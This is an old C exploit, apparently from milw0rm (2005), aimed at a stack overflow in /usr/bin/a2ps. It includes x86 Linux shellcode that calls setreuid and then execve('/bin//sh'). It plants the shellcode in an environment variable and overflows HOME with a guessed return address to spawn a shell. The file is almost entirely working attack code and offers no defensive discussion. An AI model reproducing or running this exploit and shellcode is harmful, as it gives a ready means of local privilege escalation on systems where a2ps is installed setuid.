59 lines
No EOL
1.6 KiB
C
59 lines
No EOL
1.6 KiB
C
/* Not added to Local Non Poc section /str0ke */
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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// by lizard / lizstyle[at]gmail.com
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// greets go to slider/trog for helpin me
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// not suid by default ;(
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#define VULNTHING "/usr/bin/a2ps"
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#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
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#define xnullbitch 1100
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//i`m not a asm guru so i ripped this shellcode
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//shellcode by man shadow
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char sc[] =
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"\x31\xC9" /* xor ecx,ecx */
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"\x31\xDB" /* xor ebx,ebx */
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"\x6A\x46" /* push byte 70 */
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"\x58" /* pop eax */
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"\xCD\x80" /* int 80h */
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"\x51" /* push ecx */
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"\x68\x2F\x2F\x73\x68" /* push 0x68732F2F */
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"\x68\x2F\x62\x69\x6E" /* push 0x6E69622F */
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"\x89\xE3" /* mov ebx,esp */
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"\x51" /* push ecx */
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"\x53" /* push ebx */
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"\x89\xE1" /* mov ecx,esp */
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"\x99" /* cdq */
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"\xB0\x0B" /* mov al,11 */
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"\xCD\x80"; /* int 80h */
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int main(void) {
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int ctr = 0;
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char buffer[xnullbitch];
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fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);
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for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
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*(long *) &buffer[ctr] = (long) DEFRET;
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buffer[xnullbitch - 1] = '\0';
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if((setenv("HOME", buffer, 1)) == -1) {
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perror("setenv()");
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exit(1);
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}
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if((setenv("TOPX", sc, 1)) == -1) {
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perror("setenv()");
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exit(1);
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}
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if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
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perror("execl()");
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exit(1);
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}
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return(0);
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}
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// milw0rm.com [2005-02-13]
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